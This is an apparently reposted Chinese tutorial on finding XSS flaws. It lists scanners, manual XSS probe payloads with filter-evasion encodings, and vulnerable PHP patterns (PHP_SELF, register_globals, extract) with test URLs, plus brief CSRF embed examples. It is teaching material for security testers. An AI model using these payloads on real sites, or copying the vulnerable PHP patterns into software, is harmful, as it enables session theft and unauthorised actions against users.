您的位置:首页 > 其它

XSS 专题三 发掘XSS漏洞剖析

2013-10-25 19:21 309 查看

一.常用工具

1.1.Acunetix Web Vulnerability Scanner

商业Web 漏洞扫描程序,检测XSS,SQL,代码执行,目录遍历,网站程序源代码暴露,CRLF Injection.

1.2.XSSDetect

XSSDetect 微软静态代码分析工具,Visual Studio.NET 的插件

1.3.Ratproxy

支持Linux操作系统
http://code.google.com/p/ratproxy/
检测XSS漏洞,SQL注入,文件包含漏洞,目录浏览,

二.人工检查

<script>alert(0)</script>
< > " ' & #
<img/src="javascript:alert('XSS');">
<img src="javascriptt:alert(/XSS/);" >
<table background="javascript:alert(/XSS/)"></table>
"><script >alert(document.cookie)</script>
"><sc<script>ript>alert(document.cookie)</script
<div style="width: expression(alert('XSS'));">
<div style="{ left:expression(alert('xss') ) }">
<img onerror="alert(0)" src=http://xxx.com/>

如果页面出现排版错误或者JS错误,可能存在XSS

在输入框中输入

<XSS>"'&


并提交,查看源码,如果连<>都未被转义,存在XSS,

如果被过滤,利用其他形式(标签属性,事件)

2.1 标签属性 触发XSS

比如

<input name="name" value=<?=$query?>>

$query为动态内容,替换成

xss onmouseover=evil_script()


最终渲染后的HTML如下

<input name="name" value=xss onmouse=evil_script()>

2.2 事件 触发XSS

比如

<input type="text" name="address" value="XSSTest">

XSSTest为可控输入源,输入

XSSTest "><script>alert(/XSS/)</script><"


返回

<input type="text" name="address" value="XSSTest "><script>alert(/XSS/)</script><"">


或创建事件处理器

“onfocus="alert(/XSS/)


2.3 代码嵌入JavaScript

<script> var test= ' XSSTest ';var id =12; .. </script>


XSSTest为可控输入源,输入

'; alert(/XSS/); var foo='


返回

<script> var test=''; alert(/XSS/); var foo=''; var id=12; ... </script>


2.4.利用浏览器可接受的编码

<scriPT>
<scrip%00ipt>
%253cscript%253e
Expre/******/ssion


三.php XSS

3.1 php4 phpinfo() XSS

Stefan Esser 是研究PHP漏洞的专家,他在MOPB-08-2007提到 ,低版本的php对用户输入的变量没有转义就打印出来.测试代码如下

http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>


3.2 $_SERVER[PHP_SELF]

$_SERVER['PHP_SELF'] 是PHP 的一个全局变量,代表当前PHP文件相对于网站根目录的位置地址,攻击者可以提交查询代码修改$_SERVER['PHP_SELF']的值,引发XSS漏洞,

<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>">
    <input type="hidden" name="submitted" value="1" />
    <input type="submit" value="Submit!" />
</form>


这段代码在很多程序中使用,将其保存为data.php,

访问如下链接

http://127.0.0.1/data.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo


要回避这个漏洞,可以使用htmlentities($_SERVER['PHP_SELF'])替代$_SERVER['PHP_SELF'],这样即使有恶意代码,也会转换为用于显示的HTML代码

3.3 变量覆盖

1.register_globals=on,该参数在PHP 4.2.0 及以上版本默认为屏蔽,影响PHP如何接收传递过来的参数,如果register_globals打开以后,各种变量都可以被重新注册,

比如以下代码.

<?php
echo $a;
?>

由于$a没有初始化,在register_globals打开的情况下,用户可以轻易地为其赋值,只需

http://127.0.0.1/test.php?a=XSS

如果传递javascript

http://127.0.0.1/test.php?a=XSS<script>alert(/XSS/)</script>


2.extract(),将变量从数组导入到当前符号表中

比如以下代码

<?
$a=1;
extract($_GET);
echo $a;
?>

$a 已被初始化,如果直接访问,输出值为1

http://12.7.0.0.1/test.php?a=XSS

页面输出"XSS",$a被重新赋值

还可以使用

http://127.0.0.1/test.php?a=<script>alert(/XSS/)</script>

3.遍历初始化变量

<?
$a=1;
foreach($_GET as $key => $value){
        $$key=$value;
}
print $a;
print $b;
?>


访问以下链接

http://127.0.0.1/test.php?a=XSS&b=<h1>XSS</h1>


四.CSRF

使用Firebug查看POST参数,记录下post参数

users.php?do=add_confirm&email=1%40cc.....

该CSRF Exploit可以嵌入到HTML的属性

<img src="http://127.0.0.1/admin....">
<iframe src="http://127.0.1/...."></iframe>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: